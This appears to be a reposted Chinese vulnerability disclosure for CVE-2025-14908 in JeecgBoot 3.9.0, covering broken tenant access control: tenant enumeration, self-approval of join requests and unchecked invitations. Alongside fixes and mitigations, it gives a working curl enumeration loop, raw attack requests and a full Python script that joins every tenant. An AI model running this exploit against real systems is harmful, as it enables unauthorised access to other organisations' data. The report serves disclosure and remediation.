CVE-2025-14908 jeecgboot 跨租户注册

* 标题:jeecgboot 3.9.0 bfla

 https://github.com/jeecgboot/JeecgBoot/issues/9196

44.8k

jeecg-boot 最新版本(master分支)

分支:

master

问题描述:

【严重安全漏洞】未授权访问+权限绕过导致任意用户可加入任意租户组织

漏洞概述

在多租户管理模块 SysTenantController 中存在严重的权限校验缺失和业务逻辑漏洞,攻击者可以通过以下步骤完全绕过租户隔离机制:
此攻击在单体应用jeecg-module-system中,只要是登录用户都可以实现攻击

  1. 信息泄露:任意登录用户可枚举查询所有租户的敏感信息(包括门牌号 houseNumber)
  2. 未授权加入:使用获取的门牌号申请加入任意租户
  3. 权限绕过:自己审批自己的加入申请,无需租户管理员同意
  4. 横向攻击:成为租户成员后,可邀请其他任意用户加入该租户

此漏洞完全破坏了多租户隔离安全模型,可导致数据泄露、越权访问、组织架构被篡改等严重后果。

漏洞位置

文件:SysTenantController.java

涉及接口:

  • GET /sys/tenant/queryById - 缺少权限校验,可枚举查询
  • POST /sys/tenant/joinTenantByHouseNumber - 缺少限流和业务校验
  • PUT /sys/tenant/agreeOrRefuseJoinTenant - 缺少审批人身份校验
  • POST /sys/tenant/invitationUser - 缺少邀请人权限校验

漏洞原因分析

漏洞1:租户信息泄露 - queryById接口

// 缺少权限注解,任意用户可访问
@GetMapping("/queryById")
public Result<SysTenant> queryById(@RequestParam(name="id") String id) {
    // 直接返回租户敏感信息,包括houseNumber
    SysTenant sysTenant = sysTenantService.getById(id);
    return Result.OK(sysTenant);
}
 

问题:

  • ❌ 无权限控制,任意登录用户可访问
  • ❌ tenantId 为 int(10),可通过遍历 1-9999999999 枚举所有租户
  • ❌ 返回敏感信息 houseNumber(门牌号),这是加入租户的凭证

漏洞2:自审批漏洞 - agreeOrRefuseJoinTenant接口

@PutMapping("/agreeOrRefuseJoinTenant")
public Result<?> agreeOrRefuseJoinTenant(
    @RequestParam(name = "tenantId") Integer tenantId,
    @RequestParam(name = "status") String status) {
    // 缺少校验:未验证操作者是否是租户管理员
    // 申请人可以自己审批自己的申请!
}
 

问题:

  • ❌ 未校验当前用户是否是该租户的管理员
  • ❌ 申请人可以自己同意自己的加入申请
  • ❌ 完全绕过了租户审批机制

漏洞3:无限制邀请 - invitationUser接口

@PostMapping("/invitationUser")
public Result<?> invitationUser(
    @RequestParam(name = "phone") String phone,
    @RequestParam(name = "departId") String departId) {
    // 缺少校验:未验证当前用户是否有权限邀请
    // 任意租户成员都可以邀请他人
}
 

问题:

  • ❌ 未校验邀请人是否是租户管理员
  • ❌ 可邀请任意手机号用户,无需对方同意
  • ❌ 可指定任意部门ID,可能越权访问其他部门数据

完整攻击链复现

阶段1:信息收集 - 枚举租户信息

# 遍历租户ID,获取所有租户的门牌号
for id in {1..10000}; do
  curl -X GET "http://server/sys/tenant/queryById?id=$id" \
       -H "Authorization: Bearer <普通用户token>"
done
 

响应示例:

{
  "success": true,
  "code": 0,
  "result": {
    "id": 1000,
    "name": "北京国笔信息技术有限公司",
    "createBy": "jeecg",
    "createTime": "2023-03-09 19:55:11",
    "status": 1,
    "houseNumber": "2PI3U6",  // ⚠️ 门牌号泄露
    "companyAddress": "...",
    "companyLogo": "..."
  }
}
 

阶段2:申请加入目标租户

POST /sys/tenant/joinTenantByHouseNumber HTTP/1.1
Host: server
Authorization: Bearer <攻击者token>
Content-Type: application/json

{
  "houseNumber": "2PI3U6"  // 使用阶段1获取的门牌号
}
 

响应:

{
  "success": true,
  "message": "申请加入组织成功",
  "code": 0,
  "result": 1000,  // 返回租户ID
  "timestamp": 1765443848853
}
 

阶段3:自己审批自己(核心漏洞)

PUT /sys/tenant/agreeOrRefuseJoinTenant?tenantId=1000&status=1 HTTP/1.1
Host: server
Authorization: Bearer <攻击者token>  // ⚠️ 用自己的token审批自己
 

响应:

{
  "success": true,
  "message": "操作成功",
  "code": 200
}
 

结果:攻击者成功加入租户,无需管理员审批!

阶段4:邀请其他用户(扩大影响)

POST /sys/tenant/invitationUser?phone=13800138000&departId=1 HTTP/1.1
Host: server
Authorization: Bearer <攻击者token>
 

结果:可将任意用户拉入该租户,批量添加可完全控制租户组织架构

阶段5:自动化批量攻击脚本

import requests

BASE_URL = "http://server"
ATTACKER_TOKEN = "eyJhbGciOiJIUzI1NiJ9..."

# 1. 枚举所有租户
def enum_tenants():
    tenants = []
    for tenant_id in range(1, 10000):
        r = requests.get(f"{BASE_URL}/sys/tenant/queryById?id={tenant_id}",
                        headers={"Authorization": f"Bearer {ATTACKER_TOKEN}"})
        if r.json().get("success"):
            tenant = r.json()["result"]
            tenants.append({"id": tenant["id"], 
                          "houseNumber": tenant["houseNumber"],
                          "name": tenant["name"]})
    return tenants

# 2. 批量加入所有租户
def join_all_tenants(tenants):
    for tenant in tenants:
        # 申请加入
        r1 = requests.post(f"{BASE_URL}/sys/tenant/joinTenantByHouseNumber",
                          json={"houseNumber": tenant["houseNumber"]},
                          headers={"Authorization": f"Bearer {ATTACKER_TOKEN}"})
        
        # 自己审批自己
        r2 = requests.put(f"{BASE_URL}/sys/tenant/agreeOrRefuseJoinTenant",
                         params={"tenantId": tenant["id"], "status": "1"},
                         headers={"Authorization": f"Bearer {ATTACKER_TOKEN}"})
        
        print(f"[+] 成功加入租户: {tenant['name']}")

# 3. 邀请僵尸用户
def invite_bots(tenant_id, phone_list):
    for phone in phone_list:
        requests.post(f"{BASE_URL}/sys/tenant/invitationUser",
                     params={"phone": phone, "departId": "1"},
                     headers={"Authorization": f"Bearer {ATTACKER_TOKEN}"})

# 执行攻击
tenants = enum_tenants()
join_all_tenants(tenants)
invite_bots(1000, ["13800138000", "13800138001", ...])
 

安全影响评估

直接危害

  1. 🔴 多租户隔离失效:攻击者可加入任意租户,访问其他组织的数据
  2. 🔴 数据泄露:可查看租户内部的客户、订单、财务等敏感数据
  3. 🔴 组织架构破坏:可邀请大量无关用户,污染组织架构
  4. 🔴 权限提升:成为租户成员后可能获得额外权限

业务影响

  • ⚠️ 竞争对手可渗透进入企业内部系统
  • ⚠️ 违反GDPR、等保等数据保护法规
  • ⚠️ 导致客户信任危机和商业损失
  • ⚠️ SaaS多租户商业模式完全失效

OWASP分类

  • A01:2021 - Broken Access Control(访问控制失效)
  • A04:2021 - Insecure Design(不安全设计)

修复方案

方案1:queryById 接口加强(必须)

@RequiresPermissions("system:tenant:query")  // 仅管理员
@GetMapping("/queryById")
public Result<SysTenant> queryById(@RequestParam(name="id") String id) {
    LoginUser currentUser = SecurityUtils.getSubject().getPrincipal();
    SysTenant sysTenant = sysTenantService.getById(id);
    
    // 校验:仅允许查询自己所属的租户
    if (!currentUser.getRelTenantIds().contains(id) 
        && !isSystemAdmin(currentUser)) {
        return Result.error("无权限查询该租户信息");
    }
    
    // 敏感字段脱敏
    sysTenant.setHouseNumber("******");
    return Result.OK(sysTenant);
}
 

方案2:agreeOrRefuseJoinTenant 接口修复(核心)

@RequiresPermissions("system:tenant:approve")
@PutMapping("/agreeOrRefuseJoinTenant")
public Result<?> agreeOrRefuseJoinTenant(
    @RequestParam(name = "tenantId") Integer tenantId,
    @RequestParam(name = "status") String status) {
    
    LoginUser currentUser = SecurityUtils.getSubject().getPrincipal();
    
    // ✅ 关键校验:验证当前用户是否是该租户的管理员
    if (!isTenantAdmin(currentUser, tenantId)) {
        return Result.error("仅租户管理员可审批加入申请");
    }
    
    // ✅ 防止自审批:获取申请人信息
    SysTenantUser application = getTenantApplication(tenantId, currentUser.getId());
    if (application != null && application.getUserId().equals(currentUser.getId())) {
        return Result.error("不能审批自己的加入申请");
    }
    
    // 执行审批逻辑
    sysTenantService.agreeOrRefuse(tenantId, status);
    return Result.OK("操作成功");
}
 

方案3:invitationUser 接口加固

@RequiresPermissions("system:tenant:invite")
@PostMapping("/invitationUser")
public Result<?> invitationUser(
    @RequestParam(name = "phone") String phone,
    @RequestParam(name = "departId") String departId) {
    
    LoginUser currentUser = SecurityUtils.getSubject().getPrincipal();
    
    // ✅ 校验邀请权限
    if (!isTenantAdmin(currentUser, currentUser.getCurrentTenantId())) {
        return Result.error("仅租户管理员可邀请用户");
    }
    
    // ✅ 校验部门归属
    if (!isDepartBelongToTenant(departId, currentUser.getCurrentTenantId())) {
        return Result.error("部门不属于当前租户");
    }
    
    // ✅ 添加邀请限流
    if (!checkInvitationLimit(currentUser.getId())) {
        return Result.error("邀请过于频繁,请稍后再试");
    }
    
    // 执行邀请逻辑
    sysTenantService.inviteUser(phone, departId);
    return Result.OK("邀请成功");
}
 

方案4:增加审计日志

// 记录所有租户操作
@Aspect
public class TenantOperationAudit {
    @Around("execution(* SysTenantController.*(..))")
    public Object audit(ProceedingJoinPoint pjp) {
        // 记录:谁、何时、对哪个租户、做了什么操作
        auditLog.info("User: {}, Action: {}, TenantId: {}, IP: {}", 
                     username, action, tenantId, ip);
        return pjp.proceed();
    }
}
 

临时缓解措施(紧急修复前)

  1. 立即下线 queryById 接口或添加IP白名单
  2. 在网关层添加租户操作的访问频率限制
  3. 人工审查最近的租户加入记录,排查异常
  4. 通知所有租户管理员检查成员列表
错误截图:

截图1:枚举租户信息成功

GET /sys/tenant/queryById?id=1000
响应: {"success":true, "result":{"houseNumber":"2PI3U6", ...}}
 

截图2:自己审批自己成功

PUT /sys/tenant/agreeOrRefuseJoinTenant?tenantId=1000&status=1
响应: {"success":true, "message":"操作成功"}
 

截图3:成功加入租户后可访问租户数据

GET /sys/user/list?tenantId=1000
响应: 返回该租户所有用户列表(数据泄露)
 

建议立即发布紧急安全补丁并通知所有用户升级。同时建议对整个租户管理模块进行全面安全审计。

感谢开发团队重视此问题!

posted @ 2025-12-22 15:34  Aibot  阅读(41)  评论(0)    收藏  举报